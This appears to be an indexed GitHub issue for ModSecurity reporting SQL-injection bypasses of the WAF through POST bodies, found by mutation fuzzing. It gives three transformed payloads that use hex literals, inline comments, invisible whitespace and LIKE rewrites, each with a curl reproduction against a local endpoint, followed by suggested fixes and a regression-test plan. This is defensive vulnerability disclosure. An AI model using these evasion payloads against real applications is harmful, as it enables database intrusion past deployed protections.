ModSecurity POST: SQLi bypass via request-body predicate/operator rewrites
Nobody has claimed this yet.
Assessment
- Difficulty
- 5/5
- Estimated time
- Over a week
- Newbie friendliness
- 35/100
Research direction
Start by replaying the representative POST requests against the /waf endpoint and review how POST body parameters are decoded and inspected compared with GET and GET(JSON). Use the transformed payloads as regression cases and add benign comment, whitespace, and JSON-formatting cases. Done means the listed bypasses remain blocked without introducing the stated false positives.
Written by the indexing model from the issue text.
Description
[ModSecurity][POST] SQLi bypass via predicate/operator rewrites in request-body payloads
Summary
- WAF:
ModSecurity - Request manner:
POST - Defect pattern: Predicate/operator rewrites in request-body payloads.
- Evaluation scope:
623unique SQLi mutation attempts;215successful bypasses were observed in this manner. - In our log format,
1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6 - Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- swap_int_repr: rewrites integer literals as equivalent hexadecimal values or
(SELECT n)expressions - spaces_to_whitespaces_alternatives: replaces ordinary whitespace with tabs, newlines, form feeds, vertical tabs, or NBSP
- command_injection: combines space-to-comment substitution with comment rewriting
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0 - Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1%"));beginuser_lock.sleep(0x5);end/*8Z`Lf*/and (("%"="
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
POST - Parameter name:
id - Content-Type:
application/x-www-form-urlencoded - Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=0x1%25%22%29%29%3Bbeginuser_lock.sleep%280x5%29%3Bend%2F%2A8Z%60Lf%2A%2Fand+%28%28%22%25%22%3D%22'
Case 2
- Final decision change:
1 => 0 - Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
... end and '%' = '
- Transformed payload excerpt, with invisible characters rendered explicitly:
<FF>/*11Dlt*/<VT>and<TAB>'%'<LF><FF>lIKe<TAB><FF>'
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
POST - Parameter name:
id - Content-Type:
application/x-www-form-urlencoded - Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=%0C%2F%2A11Dlt%2A%2F%0Band%09%27%25%27%0A%0ClIKe%09%0C%27'
Case 3
- Final decision change:
1 => 0 - Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
- Original payload excerpt:
...1' or 4915=(select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3)--
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1' or 0x1333 /*0x8`D<C*/ (/*jRuA*/ count(*) /**/ domain.domains /*XmwD-*/ t1,domain.columns /*]x3A*/ t2,domain.tables t3)--
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
POST - Parameter name:
id - Content-Type:
application/x-www-form-urlencoded - Transport encoding: the form body is URL-encoded.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'id=0x1%27+or+0x1333+%2F%2A0x8%60D%3CC%2A%2F+%28%2F%2AjRuA%2A%2F+count%28%2A%29+%2F%2A%2A%2F+domain.domains+%2F%2AXmwD-%2A%2F+t1%2Cdomain.columns+%2F%2A%5Dx3A%2A%2F+t2%2Cdomain.tables+t3%29--'
Suggested Fixes
- Run POST body parameters through the same decoding, canonicalization, and SQLi detection path as query-string parameters.
- Detect request-body predicates semantically rather than relying on raw-string keyword matching.
- Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
- Dominant language
- C++
- Stars
- 9.8k
- Forks
- 1.8k
- Avg merge
- 2h 46m
- Merged PRs (30d)
- 1
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from owasp-modsecurity/ModSecurity
-
2.x Platform - IIS
Difficulty 1/5 Under an hour Newbie friendliness 90/100
owasp-modsecurity/ModSecurity#3623 · 1 comment ·
-
2.x Platform - IIS
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
owasp-modsecurity/ModSecurity#3621 · 1 comment ·
-
2.x Platform - IIS
Difficulty 2/5 1-3 hours Newbie friendliness 84/100
owasp-modsecurity/ModSecurity#3619 · 1 comment ·
-
2.x Platform - IIS
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
owasp-modsecurity/ModSecurity#3612 · 1 comment ·
-
3.x
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
owasp-modsecurity/ModSecurity#3580 · 1 comment ·
All issues in owasp-modsecurity/ModSecurity
Similar issues
-
Difficulty 1/5 Under an hour Newbie friendliness 90/100
AXERA-TECH/ax-llm#77 ·
-
Difficulty 1/5 Under an hour Newbie friendliness 90/100
games-on-whales/wolf#509 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 74/100
-
bug-unconfirmed
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 74/100
NVIDIA/cuda-samples#453 ·